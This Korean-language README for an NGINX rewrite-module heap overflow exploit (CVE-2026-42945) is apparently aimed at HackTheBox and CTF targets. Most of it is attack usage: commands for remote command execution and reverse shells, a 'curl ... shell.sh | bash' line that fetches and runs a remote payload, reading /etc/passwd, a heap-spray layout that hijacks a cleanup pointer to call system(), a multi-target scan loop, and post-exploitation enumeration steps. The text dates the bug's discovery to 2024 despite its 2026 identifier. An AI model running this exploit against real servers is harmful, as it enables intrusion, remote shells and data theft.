
CVE-2026-42945 익스플로잇
2024년에 발견된 NGINX 힙 버퍼 오버플로 취약점에 대한 독립 실행형 익스플로잇입니다. 이 버전은 Docker 컨테이너를 설정할 수 없는 HackTheBox 및 CTF 환경에 최적화되어 있습니다.
CVE-2026-42945는 2008년(버전 0.6.27)부터 존재해 온 NGINX ngx_http_rewrite_module의 치명적인 힙 버퍼 오버플로입니다. 이 버그는 다음 상황에서 발생합니다:
rewrite 지시문의 대체 문자열에 ?가 포함됨 (is_args = 1 설정)set 지시문이 URI의 일부를 캡처함is_args = 0으로 인식)is_args = 1로 인식)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
다음 작업을 수행합니다:
/api/ 엔드포인트 확인python3 nginx_rift_helper.py --target 10.10.11.x --all
다음 작업을 수행합니다:
명령 실행:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
리버스 셸 획득:
# Start listener first (in another terminal)
nc -lvnp 4444
# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s 구조체가 포함된 조작된 본문으로 여러 POST 요청을 전송/api/에 GET 요청 전송system() 호출익스플로잇은 ASLR이 비활성화되어 있거나 주소를 알고 있다고 가정합니다. HTB에서:
ASLR이 활성화된 경우 다음이 필요할 수 있습니다:
취약한 구성에는 다음이 필요합니다:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/가능한 이유:
ASLR이 활성화됨 - 주소가 무작위화됨
다른 libc 버전 - system()이 다른 오프셋에 있음
--verbose로 모든 오프셋 시도취약하지 않은 버전 - 수정된 버전 또는 다른 구성
WAF/IDS 차단 - 보안 통제가 적용됨
잘못된 엔드포인트 - rewrite+set 조합을 사용하지 않음
디버깅에는 항상 --verbose를 사용하세요:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
다음을 표시합니다:
# Find your tun0 IP
ip addr show tun0 | grep inet
# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
초기 접근 권한을 얻은 후:
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Check current user
id
whoami
# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Check sudo permissions
sudo -l
# Check SUID binaries
find / -perm -4000 2>/dev/null
페이로드를 사용자 지정해야 하는 경우:
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Test each one
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
이 도구는 교육 목적과 승인된 보안 테스트용으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 불법입니다. 저자는 오용에 대한 책임을 지지 않습니다.
교육/연구 목적으로만 사용하세요. 책임감 있게 사용하십시오.